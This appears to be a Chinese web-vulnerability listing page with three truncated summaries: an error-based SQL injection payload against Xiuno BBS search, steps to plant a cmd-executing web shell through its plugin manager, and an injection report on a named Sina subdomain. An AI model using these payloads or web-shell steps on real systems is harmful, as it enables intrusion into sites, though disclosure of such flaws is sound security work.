前段时间爆出 Xiuno bbs 后台拿shell无意中翻了下代码发现 搜索型注入漏洞（POST）magic_quotes_gpc = Off获取用户个数' AND (SELECT 1600 FROM(SELECT COUNT(* ,CONCAT(0x6c...
网站首页 > 网站漏洞
在后台，进插件管理.添加插件. Ajax_complete 填入代码:if(isset($_GET['cmd'] {echo "<h1>cmd</h1><pre>"...
简要描述：新浪某分站,对用户提交参数过滤不严格,导致注入漏洞详细说明： http://ikongzi.edu.sina.com/do/schools.php?f_id=8&a_id=2883http://ikongzi.edu.sina....
